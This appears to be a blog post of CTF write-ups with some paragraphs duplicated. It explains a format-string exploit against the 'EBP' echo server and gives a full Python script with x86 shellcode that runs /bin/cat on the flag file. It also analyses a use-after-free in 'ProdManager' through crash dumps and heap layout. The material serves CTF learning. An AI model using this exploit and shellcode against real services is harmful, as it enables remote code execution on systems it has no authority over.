EBP is a simple 32 bit ELF with NX disabled. Its an echo server with format string vulnerability. Data received using fgets is passed on to snprint call
So we decided to reuse saved EBP pointer in make_response's stack frame as target to overwrite. This will end up overwriting saved EBP in echo() stack frame. When echo returns, leave instruction will set EBP to this overwritten address. Then when main() returns, EIP will be read from EBP+4 during ret instruction. Since EBP is controlled, we can control also EIP.
But main returns only when fgets() returns 0. To achieve this we shutdown half of socket using SHUT_WR, hence fgets() will return 0 on reading from socket. Still we can receive the data sent by our payload executing in echo server. Below is the exploit
ProdManager - Use After free
prodmanager is a 32 bit ELF with ASLR+NX enabled. I couldn't solve the challenge during the CTF, but here is my analysis.
The binary reads flag file into memory and provides the following options:
We could infer that lot of references are added to nodes from other nodes and even from bss memory ranging from [0x0804c180 - 0x0804c1d8]. Also, this could be the structure
Removing a product using option 2, unlinks the node from doubly linked list but doesn't clear references to it created with option 3. To trigger the issue
[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] See and remove lowest 3 products in manager
Setting MALLOC_PERTURB_=204, this is what we get
[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] Create a profile
[*] See and remove lowest 3 products in manager
.text:08048557 mov eax, ds:stdin@@GLIBC_2_0 .text:0804855C mov [esp+8], eax ; stream .text:08048560 mov dword ptr [esp+4], 1024 ; n .text:08048568 mov dword ptr [esp], offset buf ; s .text:0804856F call _fgets .text:08048503 mov dword ptr [esp+8], offset buf ; format .text:0804850B mov dword ptr [esp+4], 1024 ; maxlen .text:08048513 mov dword ptr [esp], offset response ; s .text:0804851A call _snprintfThe format string vulnerability in make_response() call will enable to read data starting from make_reponse stack frame. This is what call stack looks like, main -> echo -> make_response. But we have an issue, format string is not located in stack. Hence we cannot pass arbitrary address to perform a memory write
So we decided to reuse saved EBP pointer in make_response's stack frame as target to overwrite. This will end up overwriting saved EBP in echo() stack frame. When echo returns, leave instruction will set EBP to this overwritten address. Then when main() returns, EIP will be read from EBP+4 during ret instruction. Since EBP is controlled, we can control also EIP.
But main returns only when fgets() returns 0. To achieve this we shutdown half of socket using SHUT_WR, hence fgets() will return 0 on reading from socket. Still we can receive the data sent by our payload executing in echo server. Below is the exploit
#!/usr/bin/env python import sys import time import socket import struct import telnetlib ip = '127.0.0.1' ip = '52.6.64.173' port = 4545 soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) def push(string): length = len(string) if (length % 4) != 0: string = '/' * (4 - (length % 4)) + string pushop = chr(0x68) payload = '' for i in range(0, len(string), 4): sub = string[i:i+4] payload = (pushop + sub) + payload return payload shellcode = ("\x31\xc0\x50" + push("/home/problem/flag.txt") + "\x89\xE7\x50" + push("/bin/cat") + "\x89\xe3"+ "\x50\x57" + "\x53\x89\xE1\x89\xc2\xb0\x0b"+ "\xcd\x80\x31\xc0\x40\xcd\x80") fmt_len = 16 fake_ebp = 0x0804A080 + fmt_len fake_eip = fake_ebp + 8 payload = "%." + str(fake_ebp) + "u%4$n" payload += struct.pack("<I", fake_ebp+200) # fake_ebp payload += struct.pack("<I", fake_eip) # controlled eip payload += shellcode print "[*] Sending format string payload" soc.send(payload + chr(0xa)) print "[*] Half close socket to trigger payload" soc.shutdown(socket.SHUT_WR) print "[*] Waiting for data" s = telnetlib.Telnet() s.sock = soc f = s.read_all().split(chr(0xa))[1] print fFlag for the challenge is who_needs_stack_control_anyway?
ProdManager - Use After free
prodmanager is a 32 bit ELF with ASLR+NX enabled. I couldn't solve the challenge during the CTF, but here is my analysis.
The binary reads flag file into memory and provides the following options:
Menu options: 1) Create a new product 2) Remove a product 3) Add a product to the lowest price manager 4) See and remove lowest 3 products in manager 5) Create a profile (Not complete yet) Input:Creating a new product, calls a malloc(76) and there is series of other operations. Lets trace creation of 10 new products using data structure recovery tool
$ pin -t obj-ia32/structtrace.so -- programs/prodmanager $ python structgraph.py --filename StructTrace --bss --relink --nullwriteBelow is the visualization of memory access and it looks like a doubly-linked list. 2nd DWORD being next pointer and 3rd DWORD being previous pointer. Also 2 pointers are maintained in bss memory, one is pointer[0x0804c1d8] to head of list and other is pointer[0x0804c1dc] is tail of list.
struct node { int price; struct node *next; struct node *prev; int a; int b; int c; char name[50]; };Creating 3 products and adding it to lowest price manager leaves us with this.
We could infer that lot of references are added to nodes from other nodes and even from bss memory ranging from [0x0804c180 - 0x0804c1d8]. Also, this could be the structure
struct node { int price; struct node *next; struct node *prev; struct node *a; struct node *b; struct node *c; char name[50]; };The use-after-free vulnerability
Removing a product using option 2, unlinks the node from doubly linked list but doesn't clear references to it created with option 3. To trigger the issue
[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] See and remove lowest 3 products in manager
Setting MALLOC_PERTURB_=204, this is what we get
Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0xcccccccc EBX: 0xf7fb4000 --> 0x1a9da8 ECX: 0x0 EDX: 0x804d0a8 --> 0xcccccccc ESI: 0x0 EDI: 0x0 EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0 ESP: 0xffffcbd0 --> 0xc0 EIP: 0x804955c (mov edx,DWORD PTR [eax+0x14]) EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8049553: mov eax,DWORD PTR [ebp+0x8] 0x8049556: mov eax,DWORD PTR [eax+0x4] 0x8049559: mov eax,DWORD PTR [eax+0xc] => 0x804955c: mov edx,DWORD PTR [eax+0x14]EAX has value fetched from freed memory. Create profile option also allocates 76 bytes, which is equal to the product object. So this option could be used to reallocate the same memory with user controlled data for further exploitation.
[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] Create a profile
[*] See and remove lowest 3 products in manager
Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x41414141 ('AAAA') EBX: 0xf7fb4000 --> 0x1a9da8 ECX: 0x0 EDX: 0x804d0a8 ('A'EAX points to 0x41414141, "\n") ESI: 0x0 EDI: 0x0 EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0 ESP: 0xffffcbd0 --> 0xc0 EIP: 0x804955c (mov edx,DWORD PTR [eax+0x14]) EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8049553: mov eax,DWORD PTR [ebp+0x8] 0x8049556: mov eax,DWORD PTR [eax+0x4] 0x8049559: mov eax,DWORD PTR [eax+0xc] => 0x804955c: mov edx,DWORD PTR [eax+0x14]
Used chunks of memory on heap ----------------------------- 0: 0x0804d008 -> 0x0804d057 80 bytes uncategorized::80 bytes |01 00 00 00 58 d0 04 08 00 00 00 00 00 00 00 00 58 d0 04 08 a8 d0 04 08 31 0a 00 00 00 00 00 00 |....X...........X.......1.......| 1: 0x0804d058 -> 0x0804d0a7 80 bytes uncategorized::80 bytes |02 00 00 00 00 00 00 00 08 d0 04 08 08 d0 04 08 00 00 00 00 00 00 00 00 32 0a 00 00 00 00 00 00 |........................2.......| 2: 0x0804d0a8 -> 0x0804d0f7 80 bytes C:string data:None |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|From here, one needs to setup fake pointers such that the program shouldn't crash and also dump the flag from memory. Full solution for the challenge is here
No comments :
Post a Comment